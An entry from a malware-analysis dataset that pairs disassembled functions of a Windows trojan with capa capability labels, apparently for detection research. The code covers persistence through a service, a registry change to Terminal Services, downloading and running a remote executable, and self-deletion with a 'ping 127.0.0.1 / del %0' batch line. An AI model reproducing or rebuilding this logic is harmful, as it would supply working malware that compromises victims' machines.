joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404df0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], bl
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x30
mov dword [esp + 0x14], ebx
stosb byte es:[edi], al
call ebp
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x44]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
mov edi, 0x4147b8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x40]
push eax
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x30
call ebp
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 3
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], bl
push 0x30
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 1
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 1
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], bl
call ebp
mov eax, dword [esp + 0x18]
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x14]
push 0x2c
push edx
push 3
push ebx
push str.FailureActions
push eax
call esi
push 0x30
call ebp
add esp, 4
push 0x414ac4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x10]
push eax
push 0x414ac4
push 1
push ebx
push str.Description
push ecx
call esi
push 0x30
call ebp
mov edx, dword [esp + 0x14]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x30
call ebp
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
Function at 0x404fc0
Capabilities:
Create service
Delete service
Persist via windows service

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0x10000
push 0x4147b8
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call ebp
push esi
call ebp
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebx
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x405030
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret 8
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x118]
lea ecx, [esp + 0x10]
lea eax, [edi + 0x268]
push eax
push str.__s_
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call ebx
add esp, 0x10
lea edx, [esp + 0x10]
push 0
push 0
push 0
push 0
push 0
push edx
push 1
push 2
push 0x110
push 0xf01ff
push str.Alerter
push 0x4147b8
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push 0x30
mov dword [edi + 0x370], eax
call ebx
add esp, 4
mov ecx, edi
call fcn.00404df0
push 0x30
call ebx
add esp, 4
push esi
call ebp
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x104
ret 8
Function at 0x405210
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x415604]
push ebx
push ebp
push esi
sub eax, 0
push edi
mov ebp, ecx
je 0x405254
dec eax
je 0x405241
dec eax
je 0x40522e
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ebx, [ebp + 0x164]
push ebx
push 3
call fcn.00408b30
add esp, 8
jmp 0x40528f
lea ebx, [ebp + 0x164]
push ebx
push 2
call fcn.00408b30
add esp, 8
jmp 0x40528f
lea ebx, [ebp + 0x164]
push ebx
push 1
call fcn.00408b30
mov edi, str.Program_Files
or ecx, 0xffffffff
xor eax, eax
add esp, 8
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x415608
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4052f0
mov edi, 0x4158dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x415608
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x41570c
push ebx
add ebp, 0x268
push str._s_s
push ebp
call dword [sym.imp.MSVCRT.dll_sprintf]
mov eax, dword [0x4155fc]
add esp, 0x10
test eax, eax
jne 0x405381
mov edi, 0x414fe0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x4147b8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4150e4
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str.Alerter
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x4152ec
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x414ac4
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4054c0
Capabilities:
Create thread
Set file attributes
Start service
Terminate process

Disassembly:
push esi
push edi
mov esi, ecx
push 0
push esi
call fcn.00404fc0
push 0
lea eax, [esi + 0x164]
push 0
push eax
push 0x4051e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esi + 0x268]
lea ecx, [esi + 0x60]
push edi
push ecx
call fcn.00405450
mov eax, dword [esi + 0x36c]
add esp, 8
test eax, eax
je 0x40551d
push edi
mov ecx, esi
call fcn.00405930
mov edx, dword [0x415810]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, esi
call fcn.00405770
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
mov eax, dword [esi + 0x370]
add esp, 4
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0x30
call edi
mov ecx, dword [esi + 0x370]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x30
call edi
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4056a0
Capabilities:
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Initialize winsock library
Terminate process

Disassembly:
sub esp, 0x190
push ebx
push ebp
push esi
push edi
push 0x414edc
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x42573c], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4056d7
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x405830
push 0
push 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebp
push 0
push 0
push 0
push 0x4091e0
push 0
push 0
call ebx
push eax
call ebp
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call fcn.00405580
push 0
push 0
push 0
push 0x405b00
push 0
push 0
call ebx
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call ebp
call edi
mov esi, eax
call edi
sub eax, esi
cmp eax, 0x1388
jae 0x405721
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
call edi
sub eax, esi
cmp eax, 0x1388
jb 0x405754
jmp 0x405721

Function at 0x4059d0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x60]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push edx
push eax
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x405a39
mov ecx, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
call esi
mov edx, dword [esp + 8]
push edx
call esi
pop esi
add esp, 0x54
ret
Function at 0x406e60
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call dword [sym.imp.MSVCRT.dll_rand]
mov ecx, dword [esp + 0x110]
add esi, eax
mov eax, dword [esp + 0x10c]
push ecx
lea edx, [esp + 8]
push esi
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x14
pop esi
add esp, 0x104
ret
Function at 0x406ec0
Capabilities:
Check internet connectivity via wininet
Create http request
Download and write a file
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x1006c
call fcn.0040a300
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea eax, [esp + 0x20]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x406eeb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [str.Agent]
mov dx, word [0x415a54]
mov dword [esp + 0x24], ecx
mov word [esp + 0x28], dx
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x44]
push str._s_ld
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov al, byte [esp + 0x30]
add esp, 0x10
test al, 4
push ebx
push ebx
push ebx
jne 0x406f40
lea edx, [esp + 0x48]
push 4
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
mov dword [esp + 0x10], ebp
jmp 0x406f52
lea eax, [esp + 0x48]
push ebx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x10], eax
mov ebp, eax
cmp ebp, ebx
jne 0x406f63
pop edi
jmp loc.00429578
mov ecx, dword [str.Accept:___r_n_r_n]
mov eax, dword [0x415a40]
mov edx, dword [0x415a3c]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x415a44]
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], ecx
lea edi, [esp + 0x2c]
or ecx, 0xffffffff
xor eax, eax
mov dword [esp + 0x30], edx
push ebx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x10084]
push 0x84000100
not ecx
dec ecx
lea edx, [esp + 0x34]
push ecx
push edx
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x406fc6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
mov ecx, dword [esp + 0x10084]
push 0x4158f0
push ecx
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
cmp edi, ebx
jne 0x406fef
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1006c
ret
lea edx, [esp + 0x1c]
push ebx
lea eax, [esp + 0x18]
push edx
push eax
push 0x20000005
push esi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
jne 0x40701a
mov dword [esp + 0x14], ebx
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x80]
push 0x4000
push edx
push esi
call ebx
test eax, eax
je 0x407072
mov ebp, dword [sym.imp.MSVCRT.dll_fwrite]
mov eax, dword [esp + 0x18]
push edi
test eax, eax
je 0x407090
push 1
push eax
lea eax, [esp + 0x88]
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x18]
lea edx, [esp + 0x7c]
push ecx
push 0x4000
push edx
push esi
call ebx
test eax, eax
jne 0x40703f
mov ebp, dword [esp + 0x10]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1006c
ret
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x14]
add esp, 4
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x1006c
ret
Function at 0x4070c0
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x4147b0
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4070e2
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x40715e
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x407180
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x4071dd
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x4071e1
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x4071c2
mov ebp, dword [esp + 0x18]
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x407330
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
jmp loc.00429a28
Function at 0x408a10
Capabilities:
Create process on windows
Set file attributes

Disassembly:
sub esp, 0x608
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x111]
mov byte [esp + 0x110], 0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x30
stosb byte es:[edi], al
call esi
add esp, 4
lea eax, [esp + 0x110]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
add esp, 4
lea ecx, [esp + 0x110]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x10]
push 0x415b50
push edx
stosb byte es:[edi], al
call fcn.00406e60
lea eax, [esp + 0x18]
push 0x414760
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x229]
mov byte [esp + 0x228], 0
lea edx, [esp + 0x228]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x124]
stosw word es:[edi], ax
push ecx
push str.ping_127.0.0.1_ndel___s__ndel__0
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x234]
push ebp
push eax
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 0x28
test ebp, ebp
je 0x408b00
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
push 0x30
call esi
add esp, 4
lea ecx, [esp + 0xc]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x30
call esi
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x608
ret

Function at 0x408b30
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x104
push eax
push str._windir_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov eax, dword [esp + 0x110]
dec eax
je 0x408bd3
dec eax
je 0x408b9f
dec eax
jne 0x408bff
mov edx, dword [esp + 0x114]
lea ecx, [esp + 8]
push ecx
push str._s_system32
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov eax, 1
pop edi
pop esi
add esp, 0x104
ret
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, dword [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x104
ret
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x114]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [eax + 2], 0
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
Function at 0x408c10
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x160
or ecx, 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [esp + 0x168]
push esi
push edi
mov edi, ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x408d28
mov ecx, 0x41
lea edi, [esp + 0x68]
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
xor esi, esi
push eax
push 0xf003f
push esi
push str.Applicationsiexplore.exe_shellopencommand
push connect
mov dword [esp + 0x24], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x408d28
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x68]
push ecx
push edx
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x408d28
lea eax, [esp + 0x68]
push 0x415b6c
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
cmp eax, esi
je 0x408d28
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x174]
mov dword [esp + 0x14], 0x44
cmp eax, esi
je 0x408ce7
mov dword [esp + 0x1c], str.WinSta0Default
jmp 0x408d09
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x40], 1
mov word [esp + 0x44], si
mov word [esp + 0x46], si
mov dword [esp + 0x48], esi
lea ecx, [esp + 0x58]
lea edx, [esp + 0x14]
push ecx
push edx
push esi
push esi
push esi
push esi
push esi
lea eax, [esp + 0x84]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
xor al, al
pop ebx
add esp, 0x160
ret
Function at 0x408d40
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x158
and eax, 0xffff
dec eax
push ebx
cmp eax, 0xa1
push edi
ja case.0x408d65.5
xor ecx, ecx
mov cl, byte [eax + 0x408f00]
jmp dword [ecx*4 + 0x408eec]
mov edx, dword [esp + 0x164]
push 5
push edx
call fcn.00408c10
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
mov eax, dword [esp + 0x164]
push 0
push eax
call fcn.00408c10
add esp, 8
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push 0x41591c
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x60]
push ecx
stosb byte es:[edi], al
call fcn.00406e60
mov eax, dword [esp + 0x16c]
lea edx, [esp + 0x64]
push edx
push eax
call fcn.00406ec0
lea ecx, [esp + 0x6c]
push ecx
call fcn.004070c0
add esp, 0x14
test eax, eax
je case.0x408d65.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0x44
mov dword [esp + 0x18], str.WinSta0Default
call esi
add esp, 4
lea edx, [esp + 0x50]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x60]
push edx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x30
call esi
add esp, 4
pop esi
pop edi
pop ebx
add esp, 0x158
ret
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x41591c
push edx
stosb byte es:[edi], al
call fcn.00406e60
mov ecx, dword [esp + 0x16c]
lea eax, [esp + 0x64]
push eax
push ecx
call fcn.00406ec0
lea edx, [esp + 0x6c]
push edx
call fcn.004070c0
add esp, 0x14
test eax, eax
je case.0x408d65.5
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 0x5c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
lea ecx, [esp + 8]
push eax
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edx
push ebx
mov dword [esp + 0x30], 0x44
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop ebx
add esp, 0x158
ret